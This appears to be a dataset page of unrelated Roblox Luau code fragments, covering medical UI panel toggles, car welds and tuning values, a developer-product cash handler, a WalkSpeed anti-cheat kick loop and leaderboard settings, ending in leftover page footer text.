--Timer.Barra.Size = UDim2.new(0,0,1,0)
--TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play()
--wait(.25)
script.Parent.Parent.Circulation.Visible = false
script.Parent.Parent.Breathing.Visible = true
script.Parent.Parent.Airway.Visible = false
script.Parent.Parent.Resuscitation.Visible = false
script.Parent.Parent.Surgery.Visible = false
script.Parent.Parent.Analgesic.Visible = false
--Saude.Variaveis.Doer.Value = false
end
end)
script.Parent.Circulation.MouseButton1Down:connect(function()
if Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Circulation.Visible == false then
--Saude.Variaveis.Doer.Value = true
--Timer.Barra.Size = UDim2.new(0,0,1,0)
--TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play()
--wait(.25)
script.Parent.Parent.Circulation.Visible = true
script.Parent.Parent.Breathing.Visible = false
script.Parent.Parent.Airway.Visible = false
script.Parent.Parent.Resuscitation.Visible = false
script.Parent.Parent.Surgery.Visible = false
script.Parent.Parent.Analgesic.Visible = false
--Saude.Variaveis.Doer.Value = false
end
end)
script.Parent.Resuscitation.MouseButton1Down:connect(function()
if Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Resuscitation.Visible == false then
--Saude.Variaveis.Doer.Value = true
--Timer.Barra.Size = UDim2.new(0,0,1,0)
--TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play()
--wait(.25)
script.Parent.Parent.Circulation.Visible = false
script.Parent.Parent.Breathing.Visible = false
script.Parent.Parent.Airway.Visible = false
script.Parent.Parent.Resuscitation.Visible = true
script.Parent.Parent.Surgery.Visible = false
script.Parent.Parent.Analgesic.Visible = false
--Saude.Variaveis.Doer.Value = false
end
end)
script.Parent.Analgesic.MouseButton1Down:connect(function()
if Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Analgesic.Visible == false then
--Saude.Variaveis.Doer.Value = true
--Timer.Barra.Size = UDim2.new(0,0,1,0)
--TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play()
--wait(.25)
script.Parent.Parent.Circulation.Visible = false
script.Parent.Parent.Breathing.Visible = false
script.Parent.Parent.Airway.Visible = false
script.Parent.Parent.Resuscitation.Visible = false
script.Parent.Parent.Surgery.Visible = false
script.Parent.Parent.Analgesic.Visible = true
--Saude.Variaveis.Doer.Value = false
end
end)
script.Parent.Surgery.MouseButton1Down:connect(function()
if Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Surgery.Visible == false then
--Saude.Variaveis.Doer.Value = true
--Timer.Barra.Size = UDim2.new(0,0,1,0)
--TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play()
--wait(.25)
script.Parent.Parent.Circulation.Visible = false
script.Parent.Parent.Breathing.Visible = false
script.Parent.Parent.Airway.Visible = false
script.Parent.Parent.Resuscitation.Visible = false
script.Parent.Parent.Surgery.Visible = true
script.Parent.Parent.Analgesic.Visible = false
--Saude.Variaveis.Doer.Value = false
end
end)
|
--------------------------------------------------------------------
|
if ignition == true then
mouse.KeyDown:connect(function(key)
if key == camkey and enabled == false then
local seat = car.DriveSeat
local effect = script.soundeffect:Clone()
effect.Name = "soundeffectCop"
effect.Parent = seat[audioname]
elseif key == camkey and enabled == true then
local seat = car.DriveSeat
seat[audioname].soundeffectCop:Destroy()
end
car.DriveSeat.ChildRemoved:Connect(function(child)
if child.Name == "SeatWeld" then
local seat = car.DriveSeat
seat[audioname].soundeffectCop:Destroy()
end
end)
end)
end
|
-- Styles
|
local Styles = {
Font = Enum.Font.Arial,
Margin = 5,
Black = Color3_fromRGB(0,0,5),
Black2 = Color3_fromRGB(24,24,29),
White = Color3_fromRGB(244,244,249),
White2 = Color3_fromRGB(200,200,205),
Hover = Color3_fromRGB(2,128,149),
Hover2 = Color3_fromRGB(5,102,146)
}
local Row = {
Font = Styles.Font,
FontSize = Enum.FontSize.Size12,
TextXAlignment = Enum.TextXAlignment.Left,
TextColor = Styles.White,
TextColorOver = Styles.White2,
TextLockedColor = Color3_fromRGB(155, 155, 160),
Height = 24,
BorderColor = Color3_fromRGB(54, 54, 55),
BackgroundColor = Styles.Black2,
BackgroundColorAlternate = Color3_fromRGB(32, 32, 37),
BackgroundColorMouseover = Color3_fromRGB(40, 40, 45),
TitleMarginLeft = 15
}
local DropDown = {
Font = Styles.Font,
FontSize = Enum.FontSize.Size14,
TextColor = Color3_fromRGB(255, 255, 255),
TextColorOver = Styles.White2,
TextXAlignment = Enum.TextXAlignment.Left,
Height = 16,
BackColor = Styles.Black2,
BackColorOver = Styles.Hover2,
BorderColor = Color3_fromRGB(45, 45, 50),
BorderSizePixel = 2,
ArrowColor = Color3_fromRGB(80, 80, 83),
ArrowColorOver = Styles.Hover
}
local BrickColors = {
BoxSize = 13,
BorderSizePixel = 1,
BorderColor = Color3_fromRGB(53, 53, 55),
FrameColor = Color3_fromRGB(53, 53, 55),
Size = 20,
Padding = 4,
ColorsPerRow = 8,
OuterBorder = 1,
OuterBorderColor = Styles.Black
}
wait(1)
local bindGetSelection = ExplorerFrame:WaitForChild("GetSelection")
local bindSelectionChanged = ExplorerFrame:WaitForChild("SelectionChanged")
local bindGetApi = PropertiesFrame.GetApi
local bindGetAwait = PropertiesFrame.GetAwaiting
local bindSetAwait = PropertiesFrame.SetAwaiting
local ContentUrl = ContentProvider.BaseUrl .. "asset/?id="
local SettingsRemote = Gui:WaitForChild("SettingsPanel"):WaitForChild("GetSetting")
local propertiesSearch = PropertiesFrame.Header.TextBox
local AwaitingObjectValue = false
local AwaitingObjectObj
local AwaitingObjectProp
function searchingProperties()
if propertiesSearch.Text ~= "" then
return true
end
return false
end
local function GetSelection()
local selection = bindGetSelection:Invoke()
if #selection == 0 then
return nil
else
return selection
end
end
|
---------------------------
--[[
--Main anchor point is the DriveSeat <car.DriveSeat>
Usage:
MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld" **Applies to Motor welds only
ModelWeld(Model,MainPart)
Example:
MakeWeld(car.DriveSeat,misc.PassengerSeat)
MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2)
ModelWeld(car.DriveSeat,misc.Door)
]]
--Weld stuff here
|
MakeWeld(car.Misc.Trunk.SS,car.DriveSeat,"Motor",.04).Name="W"
ModelWeld(car.Misc.Trunk.Parts,car.Misc.Trunk.SS)
for _,v in pairs({car.Misc.Trunk}) do
local open=false
for _,a in pairs(v.Parts:GetChildren()) do
if a.Name=="Handle" then
local CL = Instance.new("ClickDetector",a)
CL.MaxActivationDistance = 12
CL.MouseClick:connect(function()
open = not open
if open then
a.Parent.Parent.SS.W.DesiredAngle = math.rad(60.5)
else
a.Parent.Parent.SS.W.DesiredAngle = 0
end
end)
end
end
end
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)
end
end)
|
-- constants
|
local PLAYER_DATA = ReplicatedStorage:WaitForChild("PlayerData")
local PLAYER = Players.LocalPlayer
local REPLACEMENTS = {
Zero = "0";
One = "1";
Two = "2";
Three = "3";
Four = "4";
Five = "5";
Six = "6";
Seven = "7";
Eight = "8";
Nine = "9";
MouseButton1 = "MB1";
MouseButton2 = "MB2";
MouseButton3 = "MB3";
Return = "Enter";
Slash = "/";
Tilde = "~";
Backquote = "`";
}
|
-- ProductId 1218012148 for 2500 Cash
|
developerProductFunctions[Config.DeveloperProductIds["2500 Cash"]] = function(receipt, player)
-- Logic/code for player buying 2500 Cash (may vary)
local leaderstats = player:FindFirstChild("leaderstats")
local cash = leaderstats and leaderstats:FindFirstChild("Cash")
if cash then
if Utilities:OwnsGamepass(player, gamepassID) then
cash.Value += 5000
else
cash.Value += 2500
end
return true
end
end
|
-- Monitor character
|
while wait(5) do
-- Check if alive
if plr.Character ~= nil and plr.Character:FindFirstChild("Humanoid") then
-- Check stats
if plr.Character.Humanoid.WalkSpeed > 23 or plr.Character.Humanoid.JumpPower > 51 then
kick()
end
-- Check torso for validity
if plr.Character:FindFirstChild("Torso") then
if plr.Character.Torso.Anchored then
kick()
end
end
end
end
|
--[[Weight and CG]]
|
Tune.Weight = 2670 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
-- [ SETTINGS ] --
|
local StatsName = "Clicks" -- Your stats name
local MaxItems = 100 -- Max number of items to be displayed on the leaderboard
local MinValueDisplay = 1 -- Any numbers lower than this will be excluded
local MaxValueDisplay = 10e15 -- (10 ^ 15) Any numbers higher than this will be excluded
local UpdateEvery = 60 -- (in seconds) How often the leaderboard has to update
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.